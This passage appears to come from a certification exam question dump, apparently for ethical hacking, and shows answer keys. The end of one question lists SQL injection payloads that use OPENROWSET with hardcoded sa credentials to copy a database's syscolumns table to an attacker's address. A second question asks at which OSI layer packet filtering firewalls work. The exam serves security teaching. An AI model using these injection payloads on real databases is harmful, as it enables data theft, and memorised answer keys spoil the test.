OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP, 8 0;',
'select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns -
D. '; insert into
OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP, 8 0;',
'select * from mydatabase..hacked_syscolumns') select * from user_tables.dbo.syscolumns -
Answer(s): C
QUESTION: 12
Packet filtering firewalls are usually a part of a router. In a packet filtering firewall, each packet is
compared to a set of criteria before it is forwarded.
Depending on the packet and the criteria, the firewal can:
i). Drop the packet
i ). Forward it or send a message to the originator
At which level of the OSI model do the packet filtering firewalls work?
A. Application layer
B. Physical layer
C. Transport layer
D. Network layer
Answer(s): D
Reference: http://books.google.com.pk/books?id=KPjLAyA7HgoC&pg=PA208&lpg=PA208&dq=At+whi
ch+level+of+the+OSI+model+do+the+packet+filtering+firewalls+work&source=bl&ots=zRrb
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